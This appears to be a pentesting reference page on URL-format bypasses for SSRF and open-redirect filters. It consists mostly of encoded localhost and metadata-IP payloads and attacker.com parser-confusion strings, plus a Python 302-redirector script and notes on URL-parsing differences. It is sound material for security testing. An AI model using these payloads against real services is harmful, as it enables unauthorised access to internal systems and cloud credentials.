# URL Format Bypass
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Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** ### Localhost ```bash # Localhost http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪ # CDIR bypass http://127.127.127.127 http://127.0.1.3 http://127.0.0.0 # Dot bypass 127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821 # Decimal bypass http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 # Octal Bypass http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001 # Hexadecimal bypass 127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001 # Add 0s bypass 127.000000000000.1 # You can also mix different encoding formats # https://www.silisoftware.com/tools/ipconverter.php # Malformed and rare localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1 # DNS to localhost localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1 ``` ![](<../../.gitbook/assets/image (649) (1) (1).png>) The **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implements IP formatting bypasses. ### Domain Parser ```bash https:attacker.com https:/attacker.com http:/\/\attacker.com https:/\attacker.com //attacker.com \/\/attacker.com/ /\/attacker.com/ /attacker.com %0D%0A/attacker.com #attacker.com #%20@attacker.com @attacker.com http://169.254.1698.254\@attacker.com attacker%00.com attacker%E3%80%82com attacker。com ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ ``` ``` ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` ### Domain Confusion ```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # On each IP position try to put 1 attackers domain and the others the victim domain http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ #Parameter pollution next={domain}&next=attacker.com ``` ### Paths and Extensions Bypass If you are required that the URL must end in a path or an extension, or must contain a path you can try one of the following bypasses: ``` https://metadata/vulerable/path#/expected/path https://metadata/vulerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path ``` ### Fuzzing The tool [**recollapse**](https://github.com/0xacb/recollapse) can generate variations from a given input to try to bypass the used regex. Check [**this post**](https://0xacb.com/2022/11/21/recollapse/) also for more information. ### Bypass via redirect It might be possible that the server is **filtering the original request** of a SSRF **but not** a possible **redirect** response to that request.\ For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.\ [Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) ```python #!/usr/bin/env python3 #python3 ./redirector.py 8000 http://127.0.0.1/ import sys from http.server import HTTPServer, BaseHTTPRequestHandler if len(sys.argv)-1 != 2: print("Usage: {} ".format(sys.argv[0])) sys.exit() class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', sys.argv[2]) self.end_headers() HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ``` ## Explained Tricks ### Blackslash-trick In short, the _backslash-trick_ relies on exploiting a minor difference between two “URL” specifications: the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing), and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). RFC3986 is a generic, multi-purpose specification for the syntax of _Uniform Resource Identifiers_, while the WHATWG URL Standard is specifically aimed at the Web, and at URLs (which are a subset of URIs). Modern browsers implement the WHATWG URL Standard. Both of them describe a way of parsing URI/URLs, with one slight difference. The WHATWG specification describes [one extra character](https://url.spec.whatwg.org/#authority-state), the `\`, which behaves just like `/`: ends the hostname & authority and starts the path of the URL. ![The two specifications parsing the same URL differently](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) ### Other Confusions ![](<../../.gitbook/assets/image (629).png>) image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
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